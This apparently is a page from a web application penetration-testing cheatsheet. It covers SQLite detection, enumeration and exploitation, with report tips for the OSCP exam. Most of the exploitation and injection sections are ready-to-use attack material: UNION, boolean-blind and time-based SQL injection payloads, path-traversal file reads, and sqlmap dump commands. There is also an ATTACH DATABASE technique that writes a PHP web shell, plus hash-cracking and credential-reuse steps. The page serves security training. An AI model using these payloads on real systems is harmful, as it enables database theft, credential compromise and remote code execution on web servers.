Skip to main content

SQLite

Part of Databases in the Web Application Testing Cheatsheet.

Contents:


1. Detection​

1.1 No network port​

SQLite is a file-based database. There is no port, no service, no banner. You only find it via:

  • File discovery on the target filesystem (after foothold or LFI).
  • Error messages from the web app mentioning SQLite, sqlite3, or SQLITE_ERROR.
  • Response headers: X-Powered-By: PHP + error mentioning PDO.

1.2 File locations​

Common paths:

PathContext
/var/www/html/*.dbPHP apps
/var/www/html/*.sqliteDjango / Rails default
/var/www/html/*.sqlite3Ruby / Python
/opt/app/data/*.dbCustom apps
/home/*/.local/share/*/*.dbUser-level apps
/tmp/*.dbTemporary / cache

1.3 Fingerprint via error​

Trigger an error in the web app (', ", )). Look for:

SQLite3::query(): Unable to prepare statement: 1, near "..."
sqlite3.OperationalError: near "..."
SQLSTATE[HY000]: General error: 1 near "..."

1.4 File magic​

SQLite files start with the ASCII header SQLite format 3\0.

# On the target (if you have shell)
file *.db
head -c 16 app.db | xxd

# From LFI or file-read primitive
# The first 16 bytes should be: 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00

2. Enumeration​

2.1 Open the DB​

sqlite3 app.db

2.2 List tables​

.tables

Or via SQL:

SELECT name FROM sqlite_master WHERE type='table';

2.3 Dump schema​

.schema

Or:

SELECT sql FROM sqlite_master WHERE type='table';

2.4 Find interesting columns​

SQLite has no information_schema. Use PRAGMA:

PRAGMA table_info(users);

2.5 Read user data​

SELECT * FROM users;
SELECT username, password FROM users;

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp). The .tables and SELECT * FROM users output is the key evidence.


3. Exploitation​

3.1 SQL injection in web apps (most common path)​

Most SQLite access comes from SQL injection in a web app. SQLite syntax specifics:

FeatureSQLite
Comments--, /* */ (no #)
String concat||
Substringsubstr(str, start, len)
VersionSELECT sqlite_version();
Current DBSELECT name FROM sqlite_master WHERE type='table';
SleepNo SLEEP(). Use randomblob(N) for time-based
File readNone built-in
Stacked queriesNot supported in most drivers

Time-based blind:

' OR 1=1 AND 1=(SELECT 1 FROM (SELECT 1,2,3 WHERE 1=1 AND (SELECT 1 FROM (SELECT COUNT(*),RANDOMBLOB(100000000))a)) LIMIT 1)-- -

3.2 Copy the DB (once you have shell)​

# Copy to a readable location, then exfil
cp /var/www/html/app.db /tmp/app.db
# Or use LFI to read directly
curl 'http://<TARGET>/download?file=../../../var/www/html/app.db' -o app.db

3.3 ATTACH DATABASE (write primitive)​

If SQLite is used by a web app with an injection, and ATTACH is not blocked, you can write files:

ATTACH DATABASE '/var/www/html/shell.php' AS shell;
CREATE TABLE shell.pwn (data text);
INSERT INTO shell.pwn VALUES ('<?php system($_GET[cmd]); ?>');

Then: curl 'http://<TARGET>/shell.php?cmd=id'

Requires: write permission to target dir + ATTACH not disabled.


4. Post-exploitation​

4.1 Dump entire DB​

sqlite3 app.db .dump > app.sql

4.2 Convert to CSV​

.mode csv
.headers on
.output users.csv
SELECT * FROM users;
.output stdout

4.3 Find password hashes​

SELECT * FROM users WHERE password IS NOT NULL;

Common formats:

  • MD5 (32 hex) -> hashcat -m 0
  • bcrypt ($2y$...) -> hashcat -m 3200
  • Django PBKDF2 (pbkdf2_sha256$...) -> hashcat -m 10000

4.4 Reuse credentials​

users table often has plaintext passwords or weakly hashed values used for SSH / admin panels.


5. Common injection patterns​

5.1 UNION-based​

SQLite requires matching column count. Determine with ORDER BY:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

Then UNION:

' UNION SELECT 1,2,3-- -
' UNION SELECT username,password,3 FROM users-- -

5.2 Extract schema via injection​

' UNION SELECT 1,sql,3 FROM sqlite_master WHERE type='table'-- -

5.3 Boolean-based blind​

' AND SUBSTR((SELECT password FROM users LIMIT 1),1,1)='a'-- -

5.4 sqlmap for SQLite​

sqlmap -u "http://<TARGET>/page?id=1" --dbms=SQLite --dump
sqlmap -u "http://<TARGET>/page?id=1" --dbms=SQLite --tables
sqlmap -u "http://<TARGET>/page?id=1" --dbms=SQLite --sql-query="SELECT * FROM users"

6. OSCP notes​

IMPORTANT

OSCP report: screenshot the .tables / .schema output that proves DB access.

IMPORTANT

OSCP report: screenshot the SQL injection payload and its result (UNION dump of users table).

IMPORTANT

OSCP report: screenshot any ATTACH DATABASE write primitive that yields a webshell.


7. References​